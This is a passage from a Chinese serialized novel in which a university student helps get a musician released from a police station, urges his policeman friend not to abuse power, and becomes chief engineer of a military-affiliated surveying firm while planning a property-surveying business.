韩学涛沉默了两秒:“我的观点就是几个字儿, Too young too simple!很傻很天真。” 展雪一愣:“什么意思?” 韩雪涛说:“意思就是国际炒家肯定会去南韩和港岛。” “为什么?” 韩学涛摊了摊手:“因为有钱赚啊。‘赚钱’这两个字,你仔细想想——它没那么高级,但绝对够劲。这世上当然有比它更有力的东西,理想啊、尊严啊、感情啊,但那些东西能撑多久?能一直推着人和社会往前走的,只有钱。” 展雪侧过头看了他一眼:“你们男人是不是都这样?一辈子就像钻在钱眼里,出不来。除了钱,你们眼里还放得下什么?” 韩学涛说:“这个世界对男人没那么客气,男人活一辈子,功能就是解决问题。钱不是万能的——这句话谁都会讲。但你试过没钱的日子没有?钱解决不了所有问题,但它能解决绝大部分。至于剩下的那些——没钱,只会更麻烦。” 展雪没接话,把目光转回了讲台上。教授还在讲,正拿着粉笔在黑板上画图表。展雪的目光落在那些数据上,却没有在看,像是在想别的什么。 讲座结束,掌声响了半分钟。 学生们往外走,过道上挤满了人。405寝室的几个人陆续站起来,高洋扶着孙婷婷,周兰在旁边帮她们拿包,几个人边走边说。展雪没跟上去,把本子收了,站在过道边上等韩学涛。 韩学涛挤过来,展雪看着他:“你先别走,我跟你说个事。” 两人顺着人流走出教室,拐进旁边没人的走廊。 “有件事你能不能帮我一下?” 韩学涛没犹豫:“可以。你说。” 展雪偏过头看了他一眼,像是在重新打量他:“我还没说是什么事,你就答应?不怕到时候食言?” 韩学涛开玩笑:“我有种预感,你的忙如果我不帮,以后搞不好要后悔。” 展雪看了他两秒,没接这句,把目光收回去,盯着前面:“牛油被你们那个同学抓了。” 韩学涛脚步慢了一下:“牛油?就是你乐队那个键盘手?” “嗯。”展雪点头,“抓他的就是那天在嚎叫酒吧一起打架的那个警察。牛油的朋友觉得我可能认识那个人,就托人找到我这儿来了。” “马辉?”韩学涛心想,马猴这是跟嚎叫酒吧刚上了,“什么原因抓的? “在酒吧嗑药了。”展雪说完就沉默了。 韩学涛说:“行,我帮你问问。” 第180章 有些错误不值得 韩学涛的摩托车停在螺塘街派出所门口时,马辉已经站在台阶上等着了。 看见他们,他三步并作两步蹿下来,先朝展雪点了点头,然后一把搂住韩学涛的肩膀:“涛子!走,我带你去看看!” 韩学涛被马辉揽着往里走。螺塘派出所不大,灰白的楼道,墙上贴着一排宣传画。一路走过去,不停有人跟马辉打招呼。 年轻的小警察见了他就叫“马队”。马辉每次都停下来,拽着韩学涛的胳膊,热络地介绍:“我哥们儿,叫涛哥!” 小警察们就恭恭敬敬点头,喊一声“涛哥”。 韩学涛面上不动声色,心里已经无语了——马猴子这是在跟他显摆。可你能不能收敛点?这是派出所,不是堂口。领导看见了怎么想? 接待室里,内勤已经泡好了茶,韩学涛和展雪一人一杯。没等多一会儿,有人推门进来,说手续办好了,可以去接人。韩学涛看了展雪一眼:“你去吧,我在这儿等你。” 展雪站起来,跟着那人出去了。门关上,马辉挤到韩学涛旁边,拿起茶几上的茶杯喝了一口,忽然笑了。 “涛子,你能来找我,我挺高兴的。”他靠在沙发上,语气跟刚才在外面显摆时完全不同了,“一直都是你帮我,总算也有我马猴能帮上你的时候了。以后你多来找找我——也让我觉得自己有点用。” 韩学涛看着他:“怎么回事?” 马辉把那天晚上的事说了一遍——扫荡酒吧,抓了几十个,矿务局和棉一厂来闹,总局来人亲自出面顶住了,还给他批了个联防队长的位置。 韩学涛听完,眉头微微皱起来。 他在心里把马辉说的每一个环节都过了一遍,怎么想都觉得不对劲。他不知道马辉背后是什么关系,可这种事明显不合规矩——警察跟黑道不一样,讲究按部就班,讲资历、讲程序。马辉刚转正,放在基层派出所老老实实熬两年是最好的安排。为什么这么着急,把他推到联防队长的位置上? “马猴,别头脑发热。”韩学涛放下茶杯,“人家把你搁那儿,是有用意的。你把情况摸清楚了再动,别热血上头就往里冲。” 马辉没有反驳。他低头看着手里的茶杯,过了一会儿才开口:“涛子,那天在你那儿,喝了那瓶红酒之后,我脑子就想通了。” 他抬起头:“我以前怕东怕西,后来发现,人只要豁得出去,什么都不用怕。窝窝囊囊是一辈子,轰轰烈烈也是一辈子——我不要窝窝囊囊。就算当根鞭炮,只要够响,我也敢把自己脑袋上的引线点了。圣斗士嘛,不带怕的。” 韩学涛说:“再怎么说,做事也得想想。真想当爆竹,那引线也只能自己点,不能把火柴放在别人手里。有些事别看得那么重——想想你妈,她肯定希望你平安。你要炸自己,也等你妈养老送终了再说。到时候没人拦你。” 马辉没接话。他握着茶杯的手指慢慢收紧,过了一会儿,又慢慢松开,整个人也跟着松了一截。 “涛子,你脑子比我好,比我冷静。以后你多骂骂我,让我时刻清醒着。说实话,你和班长就是我的根。一想到你们俩,我就觉得我是被稳稳钉在地上的,不会被一阵风就吹跑了。” 他靠在沙发上,仰头看了一眼天花板,语气认真起来,“你不知道,权力这个东西——太能吹胀一个人了。我现在感觉,周围所有人都在往我身体里吹气。” 韩学涛随手掏烟,砸在他头上:“滚吧,你一个小小的联防队长,这话说得我以为你都当局长了、当部长了。” 马辉嘿嘿笑了起来。 派出所门口,展雪已经接了牛油等着。牛油的头发比之前短了不少,人瘦了一圈,站在展雪旁边,眼睛不敢往马辉那边看。 韩学涛和马辉走出来。展雪很干脆地朝马辉一扬头:“谢了。” 马辉笑着摆摆手:“多大点事。涛子找我,没有二话——何况咱们仨还一起打过架呢。” “走吧,我请你们吃饭。”马辉抬脚就往街对面走。 展雪跟上来说:“我来买单。” 马辉头也没回,手往后摆了摆:“不用。” 他带他们拐进派出所旁边一条小巷子,走了没多远,在一家小饭馆门口停下来。店面不大,门口摆着几张桌子,墙上贴着一张手写的菜单,字歪歪扭扭的,但擦得干净。老板是个五十来岁的胖男人,看见马辉进来,笑着点了点头,转身进了厨房。 吃完饭,展雪掏出钱包。马辉说:“不用。这家店一直给我们派出所赊账。”语气理所当然。 韩学涛把筷子放下,没说话。他站起来,走到柜台前。老板正在擦桌子,看见他过来,直起身子。 “马辉在你这儿赊了多少?” 老板愣了一下,手里的抹布停了,上下打量了他一眼,没吭声。 韩学涛看着他,语气不咸不淡:“五千够不够?” 老板吓了一跳,手里的抹布差点掉了,赶紧摆手:“用不着用不着——没那么多,也就五六百块钱的事。” 韩学涛从钱包里抽出六张一百的,放在柜台上。 老板看了看那六百块钱,又看了看韩学涛,嘴唇动了动,想说点什么,最终还是没开口,伸手把钱收了。 韩学涛转身出去,搂住马辉的肩膀,往外走了几步:“马猴,你记住我一句话。在钱上犯错,不值当。” 马辉张了张嘴,没说出话。 “权力不是这么用的。”韩学涛接着说,“权力就像别在腰上的枪。你不能屁大点事都靠掏枪来解决——要是那样,你离死也不远了。” 马辉问:“那该怎么用?” 韩学涛说:“你是马辉,不是螺塘小马哥。圣斗士平时吃饭、睡觉、打游戏、蹲马桶的时候,也不会总穿着黄金圣衣。那玩意看着就重,需要打通关的时候穿一下,平时脱下来——你还是你。” 马辉沉默片刻,说:“涛子,这些天你是第二个跟我说我不是小马哥的人。” 韩学涛问:“第一个是谁?” “我师傅。”马辉说。 韩学涛点了点头:“就凭你师傅这句话,就值得你给他买一辈子水果。” 路过嚎叫酒吧,展雪停住了。门头的霓虹灯灭着,卷帘门拉下来一半,门把手上落了一层灰。展雪站在门口,看着那扇半掩的门。 马辉看了她一眼:“要不要进去看看?” 展雪点了点头。 马辉弯腰把卷帘门往上推,吱吱嘎嘎响了一阵,门升上去,露出里面的玻璃门。他推开门,几个人走了进去。 里面空荡荡的。桌椅被摞在墙角,堆成一摞一摞的,凳子上落了灰。吧台上的酒瓶全清空了,只剩下一排空架子。地面拖过,但没拖干净,瓷砖缝里还藏着烟头和碎玻璃。 舞台上,麦克风架子歪倒在地上,音箱也没有,只剩下几根电线从地板里伸出来,像断了神经的尾巴。阳光从没拉严实的窗帘缝里挤进来,照在空荡荡的地板上,把整间屋子切成明暗两半,灰尘在光柱里慢慢地飘。 展雪站在屋子中间,转了个圈,目光从吧台扫到舞台:“嚎叫这个样子,我还是第一次见。以前总觉得很多人、很吵、很大。现在没人的时候看一看——感觉面积也不大。” 韩学涛靠在吧台上,问了一句:“什么时候恢复营业?” 马辉说:“起码还得一个月吧。不过再开起来,生意应该不像以前那么好了。” 展雪站在舞台前面,看着那个歪倒的麦克风架子,忽然说了一句:“好想唱首歌啊。可惜没带吉他。” 牛油站在门口,一直没怎么说话。听到这句,他抬起头,看了看展雪,又看了看韩学涛和马辉,转身推开门:“你们等我,我去给你们拿。” 第181章 多少故事无人倾听 牛油很快回来了,怀里抱着一把吉他,身后还跟着几个人。都是矿务局的,二十出头,手里提着键盘和音响,像搬家似的呼啦啦涌进来。 又有人拎了几袋啤酒,透明的塑料袋,能看清里面的绿瓶子。后面还跟着两个女生,头发湿漉漉的,像刚从宿舍跑出来,站在门口喘着气。 牛油把键盘架在舞台边角,接上音响,吉他递给展雪。几个人在台上调音,嗡嗡的声音在空旷的屋子里来回撞了几下,然后安静了。 “唱什么?梦底?”牛油按了几下键盘,试了试音色。 展雪摇摇头:“换一首。” 过了一会儿,乐器都支好了。一把吉他,一台键盘,两个音箱,没有架子鼓,没有贝斯,简单得像学生时代的第一场排练。 牛油没听过展雪要唱的那首歌,但他毕竟是专业玩音乐的,对着谱子过了两遍,手指在黑白键上跑了几趟,就点了点头。展雪抱着吉他,站在麦克风前面,手指搭在琴弦上。 底下的人啤酒已经开了半瓶,有人站着,有人坐在摞起来的凳子上,纷纷抬起头往台上看。 展雪低下头,手指拨了一下琴弦。吉他声从音箱里出来,在空荡荡的屋子里来回弹了几下,然后安静下来,只剩下琴弦的震动一圈一圈地散开。 她开口声音不大,没有酒吧里该有的那种嘶哑和用力,就是干干净净地唱,像一个人在房间里哼给自己听。 “我是只化身孤岛的蓝鲸, 有着最巨大的身影。 鱼虾在身侧穿行, 也有飞鸟在背上停。 我路过太多太美的奇景, 如同伊甸般的仙境。 而大海太平太静, 多少故事无人倾听……” 酒吧空着,从窗帘缝里漏进来的夕阳,正好落在她脚边。没有人在底下尖叫,没有人举着酒杯欢呼,连掌声都没有。只有空旷的回声,延迟那么一瞬,漫如潮汐,远远回应。 天地之间,忽然辽阔起来。辽阔到只剩下她一个人的声音,和那把吉他。 牛油弹着键盘,眼睛盯着谱子。他刚才只见过谱面上的音符,现在听到展雪唱出来,那些干巴巴的符号忽然变成了活的。第一段副歌结束的时候,他的眼眶一下子红了,眼泪毫无征兆地涌出,顺着鼻梁往下淌。 他没有手去擦,两只手都在键盘上。咸涩的眼泪流到嘴角,他吸了吸鼻子,仰起头,对着天花板,嘴巴大张着,像一条被搁浅在岸上的鱼,大口大口地喘气。手指停不下来,键盘声还在,仿佛在拼命抱紧巨浪中用以逃生的船板。 “我有着太冷太清的天性, 对天上的她动过情。 而云朵太远太轻, 辗转之后各安天命。 我未入过繁华之境, 未听过喧嚣的声音。 未见过太多生灵, 未有过滚烫心情, 所以也未觉大洋正中, 有多么安静……” 展雪唱完最后一句,琴声骤然收住。 屋子里安静了那么一秒。 紧接着,牛油“扑通”一声跪下来,膝盖磕在木地板上,闷闷一响。他低下头,额头抵着地面,肩膀一耸一耸,喉咙里压着哽咽,断断续续地往外涌。 展雪看了他一眼,目光没有停留。她抬起头,直直看向台下,看向韩学涛。她抱着吉他,站在麦克风前一动不动,表情倔强得像不肯认输。 韩学涛望着台上那双眼睛,忽然恍惚了一下。 他想起了拉斯维加斯的蓝宝石俱乐部——烟雾缭绕的舞台上,也有过一个女孩,曾用同样的目光看着他。他愣住了,站在原地,忘了鼓掌,忘了说话,甚至忘了呼吸。好像那一瞬间,心里有什么东西,忽然就懂了。 掌声响起来。稀稀落落的,从几个角落同时浮起。 韩学涛回过神来,慢慢抬起手,刚想鼓掌—— 旁边“哇”的一声。 马辉哭了。 不是默默流泪,是嚎啕大哭。像小时候摔了一跤、磕破了膝盖的那种哭法,不管不顾,撕心裂肺。所有人都转过头去看他。马辉还穿着警服,蹲在地上,不管不顾,哭声从指缝里倾泻而出,像是憋了太久的情绪,终于找到了一个出口。 韩学涛的手停在半空中,低头看着蹲在地上的马辉,眼皮抽了抽。他转头看向台上,展雪也正看着他。两个人的嘴角忍不住,一起弯了起来。 晚上八点多,天已经黑透了。 田伟在厨房洗碗,水龙头开得不大,水流细细地冲在碗沿上,泡沫顺着碗壁往下淌。 最近他回家都晚,吃饭也晚。孩子早就在屋里做作业了,老婆在隔壁房间辅导。洗碗这事自然落到了他头上。 碗洗到一半,有人敲门。 田伟手里的碗顿了一下,侧耳听了听,又是三下。 他关了水龙头,在围裙上擦了擦手,往外走。平时家里很少来人,派出所有事也多打传呼。只有过年的时候老家来亲戚,家里才会热闹一下。平时就这一家三口,安安静静的。 老家还有个老母亲。他不是没想过把老母亲接来宁海,只是房子太小了。母亲也不愿意来,说在老家待惯了,平时是弟弟妹妹在照顾。 他一边想着这些,一边拉开了门。 马辉站在门外。手里拎着一大袋水果,红红黄黄的一大兜,沉甸甸地坠着。 田伟愣了一下。随即脸就白了,像是看到什么不祥之兆。 他往后退了半步,声音一下子绷紧了:“你小子,又给我惹什么事了?” 马辉连忙摆手:“师傅,没惹事。真没惹事。这次就是单纯地想过来看看你,给你提点水果。” 田伟不信,眉头拧着,上上下下打量了他好几遍:“真的假的?你给我老实说话,不准诓我。” 马辉说话磕磕绊绊:“师傅,从我进派出所,你就带着我,我什么也不懂……你帮我这么大的忙,我又老给你惹事……一次都没登门看过您。”他低下头,声音闷闷的,“师傅,我错了。对不起。” 说完,他对着田伟深深地鞠了一躬。 田伟站在门口,看着马辉弯下去的腰,忽然觉得眼眶有点热。他赶紧眨眼,嘴上硬邦邦地说:“别别别,你他娘的别乱鞠躬。你师傅我好好的,等哪天变成相片再说。” “师傅……你这话说的……” “闭嘴。进来吧。” 第182章 兵海地理测绘服务所 晚上在食堂吃完饭,韩学涛拉着楚强和小白出了校门,直奔木吉他酒吧。 现在时间还早,酒吧人不多,角落里的卡座空了大半。韩学涛点了啤酒和小食,挑了上次跟展雪坐过的位置。 啤酒先上来,韩学涛喝了一口,放下杯子说:“我在校外跟人合伙搞了个小公司,跟咱们专业相关,就是测绘局那个项目延展出来的。你们俩愿不愿意来?” 小白第一个开口,声音不大,但答得很快:“愿意。” 韩学涛冲他笑笑,转向楚强。楚强没说话,握着啤酒杯,似乎有些犹豫。韩学涛心里奇怪了——楚强不是缺钱吗,怎么反而还不如小白干脆了? 喝了两大口啤酒,楚强这次开口,表情认真:“学涛,我就问你一句——我是真能帮上你的忙,还是看在室友面子上,你特意拉我进去?如果我帮不上忙,反而该拿钱,那就没意思了。” 小白愣了一下,赶紧放下杯子:“我也是,我也是。学涛,我们跟着你已经赚了不少了。你有合适的人选,不用特意考虑我。而且以我的水平,估计也帮不了你多少。” 韩学涛看着他们,释然笑了一下,对二人又有了看法—— 楚强这人做事从不糊弄,有能力,现在看来还很知道进退。而小白也很不错,人nice不说,凭这张小鲜肉的脸就已经赢了! 他端起啤酒喝了一口,放下,语气跟平时在寝室里没两样:“你们别想多了。就跟上个项目一样,去薅别人的羊毛。只不过这只羊比测绘局更肥,我一个人薅不动,不如大家一起。而且咱们班学这个专业的,不就咱们三个吗?” 他看向楚:“强子,你不是这种性格啊,怎么今天婆婆妈妈的?” 听他这话,楚强也不犹豫,拿起酒杯:“行,那我干了。” 小白也端起杯子,三个人碰在一起。 ... 过了一个礼拜,大师兄钟磊来找韩学涛。 “公司弄好了,我带你去看看。” 韩学涛本以为也就是租间办公室,或者酒店房间里摆几张桌子。到了地方才发现,他猜错了。 车停在一条安静的马路边,左侧是一溜灰色的围墙,墙头上爬满了藤蔓,中间开着一扇大铁门,漆成深绿色,门上的漆皮剥落了几块,露出底下的铁锈。 围墙往里缩了一大截,路面显得宽了不少,路两边种着法国梧桐,树冠在头顶连成一片。 这地方韩学涛不陌生——宁海大学和宁海艺术学院中间的那条路,他坐26路公交车经常经过。再往后走两条街,就是市委的办公楼。寸土寸金的地段,有这么一栋常年封闭的小洋楼,他一直觉得奇怪,现在看来竟然是军方的? 钟磊推开铁门,一边往里走一边介绍:“这地方在民国是个出版社,解放后部队接管了,办过军服厂,效益不好,干倒闭了,前两年还开过舞厅,生意也不行,后来就一直空着。正好,现在给咱们用。” 韩学涛跟着他走进去,一栋三层小洋楼立在院子尽头,灰白色的墙面,拱形窗户,门廊上立着两根爱奥尼式柱子,柱头的卷纹已经风化得有些模糊了。门口立着一块铜制招牌,擦得锃亮,上面刻着一行字—— 兵海地理测绘服务所。 韩学涛看着那块招牌愣了一下。没有“有限公司”,没有“股份公司”,甚至没有“公司”两个字,简简单单七个字,像是一个事业单位。 钟磊看出他的疑惑,笑了笑,边走边说:“军办企业,都是这个路子。工商登记上显示的是全民所有制企业,但部队会和你私下会签一份合作协议,约定你的股份和职务。” 他推开门,带着韩学涛往里走:“你占百分之二十。一部分是技术入股,剩下的从你的技术服务费里扣。前期你不用出一分钱。职务是总工程师。” 总工程师? 韩学涛心里一动,没说话,跟着钟磊走了进去。 一楼大厅里,几个穿军装的士兵正在搬桌子、打扫卫生,看见钟磊进来,一个士兵立正站好,喊了声“钟所”,钟磊摆摆手,示意他们继续干。 “我代表我二哥他们水警区在这当个所长,但我不管事,小师弟,以后这就是你的地盘。”他带着韩学涛上了二楼,推开走廊尽头的一间办公室。 房间不大,但很敞亮,办公桌上摆着两部电话机、一个笔筒、一盏台灯。靠墙立着一个书柜,墙角有一面小国旗,插在旗座上。窗帘是深绿色的,拉开,阳光立刻把屋子照得通亮。 钟磊靠笑着说:“怎么样,小师弟,军旅风。我看着你腰里那条皮带就是军旅风的,就让他们照这个风格给你布置的。也符合我们部队的风格。” 他走到办公桌后面,在保险箱里拿出一个牛皮纸文件夹,又掏出一个红色的小本本,递给韩学涛。 韩学涛接过来翻开,是一本工作证:水警区信息化建设特支专家。下面还印着三个小字:非现役。 “这个身份是经过考虑的。不是现役,没有那么多的约束。但又不同于一般的编外人员。”钟磊解释道:“拿着这本工作证,有不少权限:水警区的办公区、码头泊位、测绘中心,持证进出,不用临时报备。以后再进行数据采集就方便多了,不用再拿你那个方块机绕来绕去。你要调动测绘兵,或者用什么设备,跟我说一声就行。” 他伸出手指在工作证上点了点:“这个东西,是我二哥找水警区师长特批的。”说完,他又从文件夹里抽出一份协议。 韩学涛接过来,一看,是一份保密协议,顿时心中一定,说实在的,给了他这么大的权限,如果连保密协议都没有,他自己都不敢接。 他也不墨迹,很爽快地从桌上拿起笔,翻到最后一页,签了名字,把协议推回去。 钟磊满意地点了点头,很是赞赏地说道:“上次你在雷达站做的那个实验,还有你给我二哥提的那个‘电子战夺权’的概念,他汇报到师里之后,引起了很大的重视。能够绕过老美SA的限制,对海军意味着什么,不用我多说。反正我二哥和他们师长,已经去海司找首长汇报去了。小师弟,这块师哥我是欠了你人情的!” 第183章 这个协议有问题 钟磊又把《合作协议》拿出来——厚厚的几页纸,封面上印着“兵海地理勘测所投资合作协议”几个字。 他把协议翻到最后一页,把笔递给韩学涛。 “小师弟,签了吧。” 韩学涛接过笔,低头看了两页,忽然把笔放下了。 “大师兄,有问题。” 钟磊一愣:“什么问题?”他没想到《保密协议》韩学涛签得痛快,反倒是有利于他的《合作协议》有了问题。 韩学涛把协议翻到股权分配那一页,指着上面的条款,说:“技术入股,后期用技术服务费抵扣股权。说白了,不用花钱,白拿百分之二十。” 钟磊笑了,以为他在客气:“小师弟,这是你应得的——” “大师兄,我不是在客气。”韩学涛打断他,“我的态度很明确——不花钱的股份,我不要。” 钟磊的表情变了,眉头拧了起来。 韩学涛看着他,语气不急不慢:“我拿不出钱来,那就不要股份。技术是我的,我可以授权给你们用,可以签技术服务合同,怎么都行。但是不花钱就拿股份,这个事我不干。” 钟磊靠在椅背上,手指在桌面上点了两下:“小师弟,你听我说。军队搞企业,有军队搞企业的办法。资金的事你不用操心,我和二哥既然要拉你进来,就有能力把盘子给你支起来。你那个技术,对我们来说不是锦上添花——是雪中送炭。这个股份你必须拿,你不拿,我没办法跟我二哥交代。至于钱不钱的,那是我们的事,你不用担心。” 韩学涛看着他,知道钟磊是真心要拉他进来。火候到了。 “既然大师兄为我好,那我提一个条款。”他说,“股份我先不拿,因为我不要你们白给。合同里加一条——未来如果兵海地理勘测所要改制,我有优先认购技术股份的权利。到时候该出多少钱,我出多少钱。” 钟磊愣了一下:“为什么这样?” “大师兄,政策会变。地方国企改制的浪潮已经这么厉害了,我不能不考虑——未来如果涉及军企改制,我的技术会不会落到其他人手里。”他看着钟磊,语气不急不慢,“为了大师兄你,我什么条件都可以接受。但说句实在话,未来不管是二哥,还是他们师长,过个几年,人事难免有变动。” “我打个比方。如果未来来了一个人,跟钟二哥他们不和,然后又拿着合约里的股份来挟持我——那我可受不了。到时候大不了我拍拍屁股走人,这个特支专家,不当就不当,找个地方另起炉灶。但如果不花钱拿了股份,那就很麻烦了。走,走不干净;留,留得不痛快。” 他指了指桌上那份协议:“所以我的技术股份,必须要有一条保护条款。不是钱的问题,是人事的问题。” 钟磊盯着他看了好几秒,然后他忽然笑了,“小师弟,你考虑得还真细致。”语气里带着说不清道不明的感慨。 “行,就按你的意见改。” 钟磊拿着文件走出去,办公室里只剩下韩学涛一个人。他靠在椅子上,盯着桌上那本工作证,脑子里慢慢转着。 跟军方合作,便利很大,风险也很大。便利是明面上的——数据、设备、资质,要什么有什么,连测绘兵都能调动。但风险是暗处的,藏在水面以下,看不见摸不着,但你知道它在那里。 他必须保证自己未来能够全身而退。不光要能退,等到不久之后那个企业改制的大机会来的时候,他还必须卡住身位。 现在拿百分之二十还是百分之八十,意义都不大。工商登记上,这是百分之百的全民所有制企业,跟他韩学涛没有半毛钱关系。抽屉里的协议,人家认了是一张纸,不认也是一张纸。 钟震在位上,当然不会出问题。但风水轮流转,等换了一批不对付的人上来,这张协议就是悬在头顶的一把刀。到时候人家拿住把柄,说你侵吞国有资产、说你职务犯罪,不死也得脱层皮。他绝不可能把这种日后能被人利用的东西留在协议上。 况且,自己又不是没钱,何必占这种便宜? 钟磊很快把修改后的协议拿来了。韩学涛从头到尾看了一遍,技术股份保护条款写进去了,措辞严谨,立场清晰——不是白送,是技术股份的优先认购权。 这个东西摆在哪里都挑不出理,但对他来说,是一个留到日后的钩子。 双方签字盖章,他把自己的那份收好。 第二天,韩学涛把楚强和小白叫了过来。 钟磊已经把钥匙给了韩学涛,铁门推开,青砖铺的院子,民国时期的三层小楼,方方正正的窗户,门口那块铜制招牌——兵海地理测绘服务所。 把楚强和小白看呆住了,楚强一贯是扑克脸,但眼神不一样了。小白站在他旁边,嘴巴张着,半天没合拢。 “涛哥,这就是你说的……跟朋友合伙弄的一个小公司?” 韩学涛笑了笑:“全民所有制企业。不过都是我们自己人干的,所长是钟磊,我总工程师,负责日常技术和运营。你们两个先当技术员,回头招了人,你们就当Tech Owner。” 楚强和小白同时开口:“啥玩意儿?” 韩学涛挠了挠头,心想这该叫什么好呢?虽然是水警区搭的草台班子,但工商登记上也是正儿八经的全民所有制企业,就跟以前这里的军服厂、军区舞厅一样,很正规。叫车间主任?也不合适。 他想了一下:“叫室主任吧。楚强,你是一室主任。小白,你是二室主任。就这么定了。” 这么草率? 楚强张张嘴,没说话。小白脸上的表情变了又变,像是有话想说又不知道该怎么说。 他想起他爸。他爸在地质系统干了一辈子,也算是个一线的小负责人。每天早出晚归,回到家里经常骂骂咧咧,骂得最多的就是他们单位那些室主任——“天天坐办公室不干活,只会拍马屁,除了开会什么都不会,业务一窍不通!” 他从小听着这些话长大的,对“室主任”这三个字有一种根深蒂固的印象。现在,他自己成了室主任。而他才大一,还没毕业呢。 小白咽了口唾沫,看了韩学涛一眼,又看了看面前这栋楼,把到嘴边的话咽了回去。 楚强问:“我们这算是——大一就提前就业了?” 韩学涛无所谓地摆了摆手:“还在乎那个?放心吧,听我们这个名字就知道,跟军方合作的。目前挂靠在海军下面,给部队提供测绘技术服务。” 他拍了拍楚强的肩膀:“强子,我说话算话,干到年底,我保证你家剩下的那些债能还完。” 第184章 生意的切入点 卢主任坐在办公桌后面,面前摊着几份文件,但心思显然不在那上头。 他往椅背上一靠,脸上的笑容从韩学涛和钟磊进门就没收起来过,眼角的皱纹堆了好几层,整个人看上去比平时年轻了至少五岁。 “你们两个啊,一起做事业,我这个当老师的,看着高兴。” 卢主任端起茶杯抿了一口,语气里带着长辈特有的慈祥,可慈祥底下藏着的那点得意,怎么都压不住,“以后有什么需要我帮忙的,尽管说,别客气。” 钟磊笑着接了一句:“老师,您这话我可记住了。回头缺经费了,我就来找您批条子。” 卢主任哈哈大笑,伸手点了点钟磊:“你少来这套。你那个所长的位子坐着,还要来批我的条子?我那点经费够你干什么的?” 韩学涛接过话头:“老师,钟师兄不批条子,他可以批项目。到时候挂地质系的名,经费走系里,您面上也有光。” 卢主任笑得更响了,笑完用手指点了点韩学涛:“你看看,你看看,还是学涛会说话。钟磊,你得跟师弟学着点。” 他笑着,目光在两个学生脸上来回扫了一圈,心里那点盘算转了好几转。 都说导师地位高,学生跟着沾光。其实反过来也一样——学生强了,导师也能得到反哺。 他现在手里最重要的两个学生,就是钟磊和韩学涛。钟磊有关系,韩学涛有能力。 当然不是说钟磊没能力,只是论学术,目前看韩学涛确实更强。说句实在话,韩学涛搞出来的那个绕开美国SA的算法,还有地图数字化的那套软件,他自己是弄不出来的。不光他弄不出来,他觉得燕京那边矿大、清华、北大的那些教授,也绝对弄不出来。 这东西压根儿就不是传统地质系的强项,完全是算法的范畴,甚至偏应用通信了。能收到这么一个弟子,他这个当老师的,算是捡到宝了。现在两个弟子一起合作,将来越成功,对他这个老师的作用就越大。 他这个系主任的位置,在地质系已经没人能挑战了。如今他甚至有心思想要竞争一下副校长。尤其是韩学涛跟测绘局合作的那个项目,把地质系以前的短板——校企合作、争取科研经费这块——一下子就补上了。 国家课题他手里有,省级以上获奖成果他也不缺,就是以前在为学校争取科研经费上差了点。没办法,谁让他们是地质系呢。但测绘局那个项目,等于是空手套白狼,一下子赚了一个数字应用中心回来。这段时间,地质系在其他院系眼里,那是风光无限。这些都是他这个系主任的政绩。 卢主任收回思绪,笑眯眯地看着韩学涛:“学涛,你们现在缺什么?说说看。” 韩学涛也不客气,直接开了口:“老师,首先就是缺设备。虽然很多可以外借,但一些基础的测绘设备,还是得自己有一批。” 他算过这笔账。按好的来,不到一百万就能搞定。这些钱他来出没问题,但必须算在股份里。关键是现在他手头的钱都在东南亚让老洪收购存单,一时半会儿抽不回来。既然卢主任问起来了,他干脆提一嘴,看看有没有什么办法。 卢主任听完,眉头都没皱一下,直接拿起桌上的电话:“这有什么难的?” 他拨了个号,等了几秒,电话那头接了。 “老魏啊,我老卢。对,有个事儿找你帮忙……”他把韩学涛那边的情况简单说了几句,没提具体细节,就是说学生搞了个小项目,需要一些基础测绘设备,看看能不能从测绘局这边协调一下。电话那头魏局长说了几句什么,卢主任连说了几个“好好好”,挂了电话。 “回头你去找老魏,让他帮你解决。”卢主任放下听筒,朝韩学涛抬了抬下巴。 韩学涛愣了一下。他还真没想到这事儿能找魏局长。难道测绘局的设备能搬回来用?他看了卢主任一眼,没多问,点了点头。 卢主任靠在椅背上,继续往下说:“设备问题解决了。你还有人员的问题吧?这个好办,回头弄个实习项目,从系里派点实习生过去给你们用。” 他顿了顿,“不过实习生干不长,学习和工作有冲突。所以你们还是得自己招几个人,日常在那儿盯着。至于你们具体的业务,有需要我帮忙的地方,随时说。我这个当老师的,能帮你们解决一点是一点。” 出了卢主任的办公室,韩学涛跟钟磊说起了招人的事。 钟磊两手一摊:“找人你自己来。我虽然是所长,但只管协调你和水警区那边的事,日常我又不在那边。过两个月你跟水警区彻底熟络了,我也要毕业回燕京了。招来的人,还是你自己用。” 韩学涛点了点头。 跟大师兄分开,他去计算机系上大课。 阶梯教室里坐了大半,他扫了一眼,发现一向不缺课的李曼没来。楚强和小白坐在前排,书已经翻开了。 直到上课铃响了,李曼还没出现。韩学涛有些纳闷了——李曼也逃课?平时光说我,自己倒不以身作则了,回头见面非得说说她不可。 坐了一会儿,他自己也无心听课,拉着楚强和小白从后门溜了。 三个人骑车去了天山路77号的兵海所。推开门,桌椅摆得整整齐齐,全都收拾好了。 韩学涛又给包丽和包达打了电话,让他们过来。 包达骑摩托车载着包丽到了门口。他抬头看着那栋三层小楼,又看了看门口那块铜牌,愣了好一会儿。 见到韩学涛,包达立刻说:“老大,这是你弄的公司?这位置比龙宫大酒店好多了。要不咱们丽达商贸也搬过来吧,还能省租金。” “说话过过脑子。”韩学涛说,“这里不是私人企业,是国企。我在这儿只是做工程师,又不是我的公司。公是公,私是私。我在这里是为公家做事,必须严格区分。” 包达缩了缩脖子,嘴上嗯嗯啊啊地应着,心里却在想——要不是在东林一起坑过人,你说这话我还真信了。 几个人上了二楼,进了一间空房间。韩学涛关上门,看着包丽和包达:“你们不是一直说抽油烟机的生意不好做了,未来不知道怎么定位吗?现在有方向了。” 包丽连忙问:“什么方向?” 韩学涛说了两个字:“地图。信息。” 包达和包丽对视一眼,脸上的表情从期待变成了茫然。包达挠了挠头:“卖地图?那能赚几个钱?” 韩学涛拉了一把椅子坐下,手指在桌上画了个圈:“其他行业我先不说,就说一个——房地产。” “房地产?”包丽和包达在对面坐下来,一脸疑惑。 “太大的事儿我就不说了,只说一个切入点,我们怎么切入这个行业。”韩学涛没等他们回答,直接说道,“房改。公房私有化。报纸和新闻都看了吧?单位分的房子,现在要卖给个人了。那些老房子,盖了三四十年了,哪有什么精确到户的数据?单位手里只有一张模糊的建筑草图,有的连草图都没有。老百姓要买,政府要卖,没有面积数据怎么办?” 包丽的眉头动了动。 “这就是我们的切入点。那些单位的家属院、筒子楼,几十年的老房子,档案管理混乱,很多只有一张手绘的平面图。房改必须先确权,确权必须报面积。没有数据,老百姓交不了钱,政府发不了证。”他手指在桌上重重敲了一下,“我们出。” 